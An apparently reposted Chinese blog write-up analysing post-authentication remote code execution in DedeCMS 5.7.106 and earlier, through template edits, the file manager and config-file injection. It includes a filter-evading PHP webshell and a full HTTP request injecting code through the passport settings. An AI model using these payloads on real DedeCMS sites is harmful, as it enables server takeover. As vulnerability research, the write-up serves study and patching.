简介
织梦内容管理系统 (DedeCMS),采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY自己的网站提供了强有力的支持。
影响版本
version\<=5.7.106
环境搭建
php5.6.9+mysql5.6+apache
下载地址
https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230223.zip
使用小皮部署,www目录下放源码,使用phpstrom进行动态调试即可
初始化数据库配置安装
安装完成
RCE
rce-模板文件绕过正则实现rce
代码位置
uploads/dede/article_string_mix.php
修改模板文件
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>
文件存储路径
uploads/data/downmix.data.php
访问模板文件测试shell
分析
看到在29行的时候对文件内容使用正则表达式进行了校验
在31行到33行是对diasble的方法做了定义,循环是对文件内容是否使用了disablefunction进行了校验,如果传入的内容含有disable的方法则返回信息DedeCMS提示:当前页面中存在恶意代码
,当文件内容为一句话
返回信息如下
无法绕过循环,当文件内容为
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>
的时候这里是可以绕过代码后端的校验内容,debug往下跟
在这里对文件内容做正则匹配
继续向下跟进直接写入文件了,导致rce
所以这里针对模板文件修改实现RCE的话,只要绕过循环以及正则就可以实现,所以免杀马的话就没有问题。
文件上传RCE
/uploads/dede/file_manage_main.php
/uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
/uploads/dede/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
检索ctrl+shift+f
rce-配置文件实现rce
前端修改配置文件导致rce,这里其实可以对比5.7的不同小版本,在106这个版本前后比较明显,在106版本之前,根据fwrite()
检索
路径uploads\dede\sys_info_mark.php
,前端
修改配置直接写入
配置文件/mark/inc_photowatermark_config.php
这里\
被转义为\\
测试发现106之前的版本都是没问题的。因为106
版本在代码位置多了转义增加了一个反斜杠
在版本106以及107中,在参数配置文件中同样做了增加反斜杠的代码部分,参数转义后的参数值如下图
在35行添加了反斜杠,但是在106版本之前依旧可以实现后端RCE
/dede/sys_info.php
在106版本之前,该位置无函数addslashes
所以在这里直接修改配置参数
可直接实现rce
但是通行证配置的功能在106
版以及最新的107
版中并未使用addslashes()
函数对参数值进行添加反斜杠,路径为
/uploads/dede/sys_passport.php
中的代码并未做任何加固以及补丁,使用BC对比
两端代码一致,使用payload进行debug分析
```
POST /uploads/dede/sys_passport.php HTTP/1.1
Host: dedecms.org:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://dedecms.org:9999
Connection: close
Referer: http://dedecms.org:9999/uploads/dede/sys_passport.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=eh4uq681vd4m4cpf0c1jv6q7td; _csrf_name_a20d95d7=9a1330d9413d7550843ea533405a9908; _csrf_name_a20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNG=ec2abc545b3af7e5; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=1442494cd39124c2; DedeLoginTime=1680536871; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=941cc93ac807533a; XDEBUG_SESSION=XDEBUG_ECLIPSE
Upgrade-Insecure-Requests: 1
dopost=save&editcfgpp_encode=FwCCr9938B&edit_cfg_pp_login=d&editcfgpp_exit=t%5C&edit_cfg_pp_reg=%3Bphpinfo%28%29%3B%2F*&imageField.x=36&imageField.y=4
```
保存成功echo后请求配置文件
这里直接写入一句话实现RCE即可。
在这里其实对比在rce- 配置文件实现rce
开头的位置路径uploads\dede\sys_info_mark.php
的分析可以发现这个位置在输入参数内容存在反斜杠的时候因为函数stripslashes
删掉了一个反斜杠,所以最终的配置文件内容为
stripslashes()
函数的作用
运行实例
小结
提供一些发散的思路吧,后端的RCE的利用基本都可以围绕这两点。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论